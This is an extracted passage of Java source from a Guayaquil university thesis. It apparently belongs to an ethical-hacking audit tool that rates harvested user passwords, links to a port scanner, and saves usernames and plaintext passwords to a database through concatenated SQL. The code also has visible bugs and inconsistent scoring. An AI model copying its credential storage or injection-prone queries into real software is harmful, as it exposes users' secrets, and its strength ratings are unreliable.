expirados[cexpirados]="vigente"; cexpirados++; } fecha_coincide_1=false; for ( int j=0;j<a_contar;j++){ char al= a_analizar.charAt(j); switch (al){ case 'a': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'b': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'c': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'd': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'e': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'f': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'g': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al);

Page 286: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

271

break; case 'h': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'i': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'j': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'k': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'l': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'm': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'n': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'ñ': contador_alfabeto++; contador_minusculas++; longitud_password++;

Page 287: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

272

evalua_secuencia(j,a_analizar,al); break; case 'o': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'p': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'q': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'r': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 's': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 't': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'u': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'v': contador_alfabeto++; contador_minusculas++; longitud_password++;

Page 288: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

273

evalua_secuencia(j,a_analizar,al); break; case 'w': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'x': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'y': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'z': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'A': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'B': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'C': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'D': contador_alfabeto++; contador_mayusculas++; longitud_password++;

Page 289: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

274

evalua_secuencia(j,a_analizar,al); break; case 'E': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'F': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'G': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'H': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'I': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'J': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'K': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'L': contador_alfabeto++; contador_mayusculas++; longitud_password++;

Page 290: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

275

evalua_secuencia(j,a_analizar,al); break; case 'M': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'N': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'Ñ': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'O': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'P': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'Q': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'R': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'S': contador_alfabeto++; contador_mayusculas++; longitud_password++;

Page 291: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

276

evalua_secuencia(j,a_analizar,al); break; case 'T': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'U': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'V': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'W': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'X': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'Y': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'Z': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case '0': contador_números++;

Page 292: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

277

longitud_password++; evalua_secuencia(j,a_analizar,al); break; case '1': contador_números++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case '2': contador_números++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case '3': contador_números++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case '4': contador_números++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case '5': contador_números++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case '6': contador_números++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case '7': contador_números++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case '8': contador_números++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case '9': contador_números++; longitud_password++; evalua_secuencia(j,a_analizar,al); break;

Page 293: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

278

/*+CARACTERES ESPECIALES+++*/ /*tipo:> \|@#~½¬{[]}\~}@ł€¶ŧ←↓→øþ[]æßðđŋħjĸł~{|«»¢“”nµࢣ·:ª!"·$%&/()=?¿Çº*' --*/ default: contador_especiales++; longitud_password++; evalua_secuencia(j,a_analizar,al); }// fin switch análisis passwd }//fin for interno longitud palabra cadena_total_datos=cadena_total_datos + '\n'+ "Este es el resultado del password "+a_analizar+'\n'; // niveles de seguridad.../ // 10% if (longitud_password <= 4 && contador_mayusculas ==0 && contador_números ==0 && contador_especiales ==0 && diccionario==true ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"Es una palabra de diccionario"+'\n'+"el password es totalmente inseguro..cambiarlo de inmediato"; validador=10; aux_seguridad="10%"; } // 10% // 15% if (longitud_password <= 4 && contador_mayusculas ==0 && contador_números ==0 && contador_especiales ==0 && diccionario==false ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"No es una palabra de diccionario"+'\n'+"el password es totalmente inseguro..cambiarlo de inmediato"; validador=15; aux_seguridad="15%"; } // 15% //15% if (longitud_password <= 4 && ( contador_mayusculas <2 || contador_números <2 || contador_especiales <2) && diccionario==true )

Page 294: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

279

{ auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"Es una palabra de diccionario"+'\n'+"el password es totalmente inseguro..cambiarlo de inmediato"; validador=15; aux_seguridad="15%"; } // 15% // 20% if (longitud_password <= 4 && ( contador_mayusculas <2 || contador_números <2 || contador_especiales <2) && diccionario==false ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" etras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"Es una palabra de diccionario"+'\n'+"el password es totalmente inseguro..cambiarlo de inmediato"; validador=20; aux_seguridad="20%"; } // 20% // 30% if (longitud_password <= 7 && ( contador_mayusculas ==0 || contador_números ==0 || contador_especiales ==0 ) && diccionario==true ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"Es una palabra de diccionario"+'\n'+"el password es totalmente inseguro..cambiarlo de inmediato"; Validador=30; aux_seguridad="30%"; } // 30% // 40% if (longitud_password <= 7 && ( contador_mayusculas ==0 || contador_números ==0 || contador_especiales ==0 ) && diccionario==false ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de

Page 295: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

280

"+longitud_password+'\n'+'\n'+"No es una palabra de diccionario"+'\n'+"el password es totalmente inseguro..cambiarlo de inmediato"; validador=30; aux_seguridad="30%"; } // 40% // 40% if (longitud_password <= 7 && ( contador_mayusculas ==1 || contador_números ==1 || contador_especiales ==1 ) && diccionario==false ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"No es una palabra de diccionario"+'\n'+"el password es totalmente inseguro..cambiarlo de inmediato"; validador=30; aux_seguridad="30%"; } // 40% // 30% if (longitud_password <= 7 && ( contador_mayusculas ==1 || contador_números ==1 || contador_especiales ==1 ) && diccionario==true ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"No es una palabra de diccionario"+'\n'+"el password es totalmente inseguro..cambiarlo de inmediato"; Validador=30; aux_seguridad="30%"; } // 30% // 45% if (longitud_password <= 7 && ( contador_mayusculas >1 || contador_números >1 || contador_especiales >1 ) && diccionario==true ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" etras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"No es una palabra de diccionario"+'\n'+"el password es totalmente inseguro..cambiarlo de inmediato"; validador=45; aux_seguridad="45%"; }

Page 296: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

281

// 45% // 50% if (longitud_password <= 7 && ( contador_mayusculas >1 || contador_números >1 || contador_especiales >1 ) && diccionario==true ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"No es una palabra de diccionario"+'\n'+"se recomienda cambiar el password lo más pronto posible"; Validador=50; aux_seguridad="50%"; } // 50% // 50% if (longitud_password == 8 && ( contador_mayusculas ==1 || contador_números ==1 || contador_especiales ==1 ) && diccionario==true ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"Es una palabra de diccionario"+'\n'+"el password es inseguro..cambiarlo de inmediato"; validador=50; aux_seguridad="50%"; // 50% // 60% if (longitud_password == 8 && ( contador_mayusculas >=2 || contador_números >=2 || contador_especiales >=2 ) && diccionario==false ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"Es una palabra de diccionario"+'\n'+"el password cumple con algunas normas de seguridad..Se sugiere cambiarlo cuando expire"; validador=60; aux_seguridad="60%"; } // 60% // 50% if (longitud_password > 8 && ( contador_mayusculas >2 || contador_números >2 || contador_especiales >2 ) && diccionario==true ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras

Page 297: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

282

mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"Es una palabra de diccionario"+'\n'+"el password cumple con las normas de seguridad pero puede ser vulnerado..cambiarlo lo antes posible"; validador=50; aux_seguridad="50%"; } // 50% // 80% if (longitud_password > 8 && ( contador_mayusculas >3 || contador_números >3 || contador_especiales >3 ) && diccionario==false ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"No es una palabra de diccionario"+'\n'+"el password cumple con las normas standart de seguridad..cambiarlo cuando expire"; validador=80; aux_seguridad="80%"; } // 80% // 90% if (longitud_password > 14 && ( contador_mayusculas >3 || contador_números >3 || contador_especiales >3 ) && diccionario==false ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"No es una palabra de diccionario"+'\n'+"el password cumple con las normas standart de seguridad..cambiarlo cuando expire"; validador=90; aux_seguridad="90%"; } // 90% // 95% if (longitud_password > 20 && ( contador_mayusculas >7 || contador_números >7 || contador_especiales >7 ) && diccionario==false ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"No es una

Page 298: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

283

palabra de diccionario"+'\n'+"el password cumple con las normas standart de seguridad..cambiarlo cuando expire"; validador=95; aux_seguridad="95%"; } // 95% // NIVELES DE SEGURIDAD.../ cadena_total_datos= cadena_total_datos+auxiliar_resultados; if (validador >= valida_alto_1) { aux_análisis="alto"; aux_resultado = "el password cumple con normas de seguridad se lo recomienda cambiar o haya expirado segun politicas de la empresa"; } if ((validador < valida_alto_1)&&(validador >= valida_medio_1)) { aux_análisis="medio"; aux_resultado = "el password cumple con algunas normas de seguridad sin embargo se lo recomienda cambiar en el menor tiempo posible o cuando haya expirado segun politicas de la empresa"; }else{ aux_análisis="bajo"; aux_resultado="el password tiene normas bajas o nulas de seguridad..cambiarlo lo más pronto posible..."; } análisis_passwords[canálisis]= aux_análisis; seguridad[cseguridad]=aux_seguridad; resultados[cresultado]=aux_resultado; cseguridad++; canálisis++; cresultado++; a_analizar=""; contador_minusculas=0; contador_mayusculas=0; contador_alfabeto=0; longitud_password=0; secuencia=0; contador_números=0; contador_especiales=0; diccionario=false; fecha_coincide=false; secuencia_1 = false; secuencia_2 = false; secuencia_3 = false; secuencia_4 = false; secuencia_5 = false; secuencia_6 = false; secuencia_7 = false; secuencia_8 = false; aux_análisis=""; aux_seguridad=""; aux_expirado=""; aux_resultado="";auxiliar_resultados=""; }//fin if cadena analizar passwd }// fin for longitud array passwords int status =p_muestra.waitFor(); return status==0; } public static void evalua_secuencia(int j,String a_analizar,char al )//inicio evalua secuencia

Page 299: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

284

{ if (j>3)// inicio if secuencia { if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) && a_analizar.charAt(j-1)== al) { secuencia_3= true; }else{ if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) || a_analizar.charAt(j-1)== al) { secuencia_2= true; } } } // j>3 if (j>6) { if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) && a_analizar.charAt(j-1)== al && a_analizar.charAt(j-3) ==a_analizar.charAt(j-4) && a_analizar.charAt(j-3) == al) { secuencia_5= true; } if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) || a_analizar.charAt(j-1)== al || a_analizar.charAt(j-3) ==a_analizar.charAt(j-4) || a_analizar.charAt(j-3) == al) { secuencia_2=true; } if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) && a_analizar.charAt(j-1)== al && a_analizar.charAt(j-3) ==a_analizar.charAt(j-4)) { secuencia_4=true; } }// j >6 if (j>9) { if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) && a_analizar.charAt(j-1)== al && a_analizar.charAt(j-3) ==a_analizar.charAt(j-4) && a_analizar.charAt(j-3) == al && a_analizar.charAt(j-6)==a_analizar.charAt(j-7) && a_analizar.charAt(j-8)==al ) { secuencia_8= true; } if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) || a_analizar.charAt(j-1)== al || a_analizar.charAt(j-3) ==a_analizar.charAt(j-4) || a_analizar.charAt(j-3) == al || a_analizar.charAt(j-6)==a_analizar.charAt(j-7) || a_analizar.charAt(j-8)==al )

Page 300: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

285

{ secuencia_2= true; } if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) && a_analizar.charAt(j-1)== al && a_analizar.charAt(j-3) ==a_analizar.charAt(j-4) && a_analizar.charAt(j-3) == al && a_analizar.charAt(j-6)==a_analizar.charAt(j-7) ) { secuencia_7= true; } if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) && a_analizar.charAt(j-1)== al && a_analizar.charAt(j-3) ==a_analizar.charAt(j-4) && a_analizar.charAt(j-3) == al ) { secuencia_5= true; } if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) && a_analizar.charAt(j-1)== al && a_analizar.charAt(j-3) ==a_analizar.charAt(j-4) && a_analizar.charAt(j-3) == al && a_analizar.charAt(j-6)==a_analizar.charAt(j-7) ) { secuencia_6= true; } if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) && a_analizar.charAt(j-1)== al ) { secuencia_3= true; } if(a_analizar.charAt(j-1)== al && a_analizar.charAt(j-3) ==a_analizar.charAt(j-4) && a_analizar.charAt(j-3) == al && a_analizar.charAt(j-6)==a_analizar.charAt(j-7) ) { secuencia_5= true; } }// j>9 }// fin if secuencia private void reportes_estadisticosActionPerformed(java.awt.event.ActionEvent evt) { reporte report = new reporte(); report.show(); } private void scan_ip_puertosActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan pa = new pantalla_scan(); pa.show(); } private void boton_guardar_log1ActionPerformed(java.awt.event.ActionEvent evt) { Fecha time1 = new Fecha(); String fecha_sistema_1 = time1.getFecha();

Page 301: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

286

Reloj clock1 =new Reloj(); String hora_sistema_1 = clock1.getHora(); try{// inicio try 1 Connection connection2 = ACCESS.ObtenerConexion(); Statement statement2 = connection2.createStatement(); for(int h = 0; h < usuarios.length;h++){// inicio for 1 if(usuarios[h]!=null) { String SQL1= "INSERT INTO reporte(direccion,usuario,password,tipo_usuario,análisis,estado,fecha,hora,seguridad) values ('"+ip_final_1+"','"+usuarios[h]+"','"+passwords[h]+"','"+servicios[h]+"', '"+análisis_passwords[h]+"','"+expirados[h]+"','"+fecha_sistema_1+"','"+hora_sistema_1+"','"+seguridad[h]+"')"; o = statement2.executeUpdate(SQL1); } }// fin for 1 if (o==0) { Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG", "no se pudo ingresar a la base de datos","consulte con la ayuda del sistema","gracias"); }else{ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","la actualizacion de la base","se realizo con exito","gracias por usar nuestro programa.."); connection2.commit(); statement2.close(); } }catch(Exception e){ Msg a=new Msg("Aviso","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar el almacenamiento en BD","consulte con la ayuda sistema","gracias"); }// fin try 1 } private void botonsalir1ActionPerformed(java.awt.event.ActionEvent evt) { salir sali = new salir(); sali.show(); } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new análisis(ip_final_1,a,b_c,c,aux_fecha).setVisible(true); } }); } static String cadena_total_análisis=""; static String cadena_total_datos=""; static InputStream is_muestra; static BufferedReader br_muestra;

Page 302: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

287

static String aux_muestra; static String cadena_total_analizar=""; static String a=""; static String b_c=""; static String c=""; static InputStream is_squid; static BufferedReader br_squid; static String aux_squid=""; static int cont_punt_squid=0; static int contador_alfabeto=0; static int contador_minusculas=0; static int contador_números=0; static int contador_mayusculas=0; static int contador_especiales=0; static int longitud_password=0; static int secuencia=0; static int validador =0; static int pos1=0; static int pos11=0; static int anio_bd=0; static int mes_bd=0; static int dia_bd=0; static int dia_s=0; static String dia=""; static String dia_sist=""; static String auxiliar_resultados=""; static String fecha_bd=""; static String anio=""; static String mes=""; static int b; static int anio_total=0; static int mes_total=0; static int cont_punt=0; static String a_analizar=""; static String usuario=""; static String u_usuario=""; static String anio_sistema=""; static String mes_sistema=""; static String aux_análisis=""; static String aux_seguridad=""; static String aux_expirado=""; static String aux_resultado=""; static String conclusion_análisis; static String[] usuarios=new String [30]; static String[] passwords=new String[30]; static String[] análisis_passwords=new String[30]; static String[] servicios= new String[30]; static String [] seguridad= new String[30]; static String[] expirados = new String[30]; static String []resultados = new String [500]; static BufferedReader is; static String aax; static int anio_s=0; static int mes_s=0; static int cusuarios=0; static int cpasswords=0; static int cservicios=0; static int canálisis=0; static int cseguridad=0; static int cexpirados=0; static int cresultado=0; static int q=0;

Page 303: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

288

static int a_contar=0; static int o; static boolean diccionario= false; static boolean fecha_coincide=false; static boolean band_fechita = false; static boolean band_sist = false; static boolean band_bd = false; static boolean fecha_coincide_1=false; static boolean secuencia_1 = false; static boolean secuencia_2 = false; static boolean secuencia_3 = false; static boolean secuencia_4 = false; static boolean secuencia_5 = false; static boolean secuencia_6 = false; static boolean secuencia_7 = false; static boolean secuencia_8 = false; static String ip_final_1=""; static int valida_alto_1=0; static int valida_medio_1=0; static int valida_bajo_1=0; static int valida_fecha_1=0; static String aux_fecha=""; private javax.swing.JMenu acerca_de; private javax.swing.JMenuItem acerca_de_menu; private javax.swing.JMenu análisis; private javax.swing.JMenuItem análisis_claves; private javax.swing.JMenu ayuda; private javax.swing.JMenuItem ayudita; private javax.swing.JButton boton_guardar_log1; private javax.swing.JButton boton_resultados; private javax.swing.JButton botonsalir1; private javax.swing.JMenu estadisticas; private javax.swing.JMenuItem estadisticas_re; private javax.swing.JMenu hackeo; private javax.swing.JMenuItem hacking_etico; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JMenuBar jMenuBar1; private javax.swing.JScrollPane jScrollPane3; private javax.swing.JScrollPane jScrollPane4; private javax.swing.JMenu reportes; private javax.swing.JMenuItem reportes_estadisticos; private javax.swing.JMenuItem salida; private javax.swing.JMenu salir; private javax.swing.JMenu scan; private javax.swing.JMenuItem scan_ip_puertos; private javax.swing.JTable tabla_resultados_passwd; private javax.swing.JEditorPane text_analiza_passwd; }

Page 304: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

289

reporte.java

